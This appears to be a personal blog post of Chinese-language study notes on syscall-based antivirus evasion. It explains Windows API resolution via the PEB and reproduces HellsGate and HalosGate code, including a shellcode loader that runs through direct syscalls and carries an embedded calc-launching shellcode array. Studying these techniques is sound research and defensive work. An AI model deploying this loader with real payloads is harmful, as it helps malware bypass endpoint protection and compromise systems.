syscall免杀学习记录(持续更新)
2024-04-15 19:34:56

PEB等结构

神图

img

Windows中的API调用机制

简单来说,Ring3中的kernel32.dll中的函数会调用ntdll.dll中的函数,在ntdll.dll中使用syscall指令从Ring3进入Ring0

  • 测试:

image-20240307154434280

可以发现创建线程

kernel32.dllCreateThread => KernelBase.dllCreateRemoteThreadEx => ntdll.dllNtCreateThreadEx

ntdll.dll中相当于保存着执行功能的函数以及系统调用存根,ntdll.dll导出Windows Native API,具体实现在内核态中的ntoskrnl.exe

  • 使用IDA查看ntdll.dll

NtCreateThreadEx

image-20240412093259939

Windows中定位API的原理

​ 定位WinAPI对于开发通用shellcode有着重要意义。

​ 而WinAPI通过动态链接库中的导出函数(可以查看导出表Export Directory)来实现的,比如内存操作等API在kernel32.dll中实现,GUI的相关API在user32.dll中实现。

image-20240413132824494

​ win32下的shellcode开发通常使用TEB->PEB->LDR的思路来找到,具体过程如下:

  • 通过段选择器FS在内存中找到线程环境块TEB

  • 线程环境块偏移位置为0x30的位置 或者 直接通过GS段寄存器0x30偏移处 获取PEB指针

image-20240413133603759

  • PEB中偏移位置为0x0C的位置存放着PEB_LDR_DATA结构体的指针,其中存放着被进程装载的动态链接库的信息

image-20240413133948094

  • PEB_LDR_DATA结构体中存放着三条链表,这均可以获取API

image-20240413134235247

以InlnitializationOrderModuleList为例:

​ 模块初始化链表InlnitializationOrderModuleList中按顺序存放着PE装入运行时初始化模块的信息,第一个链表结点是ntdll.dll,第二个链表结点就是kernel32.dll

​ 到对应模块后,在InInitializationOrderModuleList的0x08偏移处就是ntdll.dll的基址

image-20240413134602172

syscall免杀

HellsGate

原理

读取ntdll.dll,解析并遍历ntdll.dll的导出表,然后根据函数名取出函数地址,再用函数指针的方式进行syscall调用,从而绕过Ring3上的hook检测

源码分析

  • 获取ldrDataEntry的基址

​ HellsGate的作者从InMemoryOrderModuleList出发,最后偏移0x10个字节即可

1
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

  • 获得ntdll.dll的EAT(Export Address Table)的基地址

​ 这个的前置知识就是PE文件结构

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}

// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}

// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
  • 通过API哈希然后遍历ntdll.dll的EAT来找到对应的函数地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;

Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;

Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;

Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return 0x1;
  • 最后使用从ntdll.dll的EAT中获取的winAPI执行shellcode

分配内存页存储shellcode –> 往内存页中写入shellcode –> 修改内存页为可读可执行 –> 在当前进程中创建新的线程 –> 执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
// char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x00";

// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));

// Change page permissions
ULONG ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);

// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);

// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);

return TRUE;
}

顺道看下HellsGate的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.code 
HellsGate PROC ; 获取系统调用号
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP

HellDescent PROC ; 系统调用,可以参考ntdll.dll中的反汇编代码
mov r10, rcx
mov eax, wSystemCall

syscall
ret
HellDescent ENDP
end

HalosGate

HellsGate的缺点是它定位API时需要一个没有经过任何hook的ntdll.dll,因为获取API时的偏移都是硬编码的

倘如ntdll.dll被hook时,那么HalosGate就失效了,为了解决这个问题,HalosGate应运而生

光环之门的基本原理就是找到未被hook的系统调用,根据系统调用号的临近关系进行推测

重点看下findSyscallNumber、halosGateUp、halosGateDown这几个函数

  • findSyscallNumber

在jne error处检查是否被hook,如果没有则返回syscall号,源代码中不启用光环之门,而是继续地狱之门

cmp edi, [rcx]:检查是否被hook如果有则返回error,启用光环之门

1
2
3
4
5
6
7
8
9
10
11
findSyscallNumber PROC
xor rsi, rsi
xor rdi, rdi
mov rsi, 00B8D18B4Ch ; bytes at start of NTDLL stub to setup syscall in RAX
mov edi, [rcx] ; RDI = first 4 bytes of NTDLL API syscall stub (mov r10,rcx;mov eax,<syscall#>)
cmp rsi, rdi
jne error ; if the bytes dont match then its prob hooked. Exit gracefully
xor rax,rax ; clear RAX as it will hold the syscall
mov ax, [rcx+4] ; The systemcall number
ret ; return to caller
findSyscallNumber ENDP
  • halosGateUp:向上获取SSN
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
halosGateUp PROC
xor rsi, rsi
xor rdi, rdi
mov rsi, 00B8D18B4Ch ; bytes at start of NTDLL stub to setup syscall in RAX
xor rax, rax
mov al, 20h ; 32 * Increment = Syscall Up
mul dx ; RAX = RAX * RDX = 32 * Syscall Up
add rcx, rax ; RCX = NTDLL.API +- Syscall Stub
mov edi, [rcx] ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Up by HalosGate (mov r10, rcx; mov eax, <syscall#>)
cmp rsi, rdi
jne error ; if the bytes dont match then its prob hooked. Exit gracefully
xor rax,rax ; clear RAX as it will hold the syscall
mov ax, [rcx+4] ; The systemcall number for the API close to the target
ret ; return to caller
halosGateUp ENDP
  • halosGateDown:向下获取SSN
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
halosGateDown PROC
xor rsi, rsi
xor rdi, rdi
mov rsi, 00B8D18B4Ch ; bytes at start of NTDLL stub to setup syscall in RAX
xor rax, rax
mov al, 20h ; 32 * Increment = Syscall Down
mul dx ; RAX = RAX * RDX = 32 * Syscall Down
sub rcx, rax ; RCX = NTDLL.API - Syscall Stub
mov edi, [rcx] ; RDI = first 4 bytes of NTDLL API syscall stub, incremented Down by HalosGate (mov r10, rcx; mov eax, <syscall#>)
cmp rsi, rdi
jne error ; if the bytes dont match then its prob hooked. Exit gracefully
xor rax,rax ; clear RAX as it will hold the syscall
mov ax, [rcx+4] ; The systemcall number for the API close to the target
ret ; return to caller
halosGateDown ENDP

参考文献

  1. https://blog.eonew.cn/2018-09-09.%E5%AE%9A%E4%BD%8DAPI%E7%9A%84%E5%8E%9F%E7%90%86.html

  2. https://xz.aliyun.com/t/12885?time__1311=mqmhq%2BxjxGED%2F7NeBKnOQAnxD56D&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-17

Prev
2024-04-15 19:34:56
Next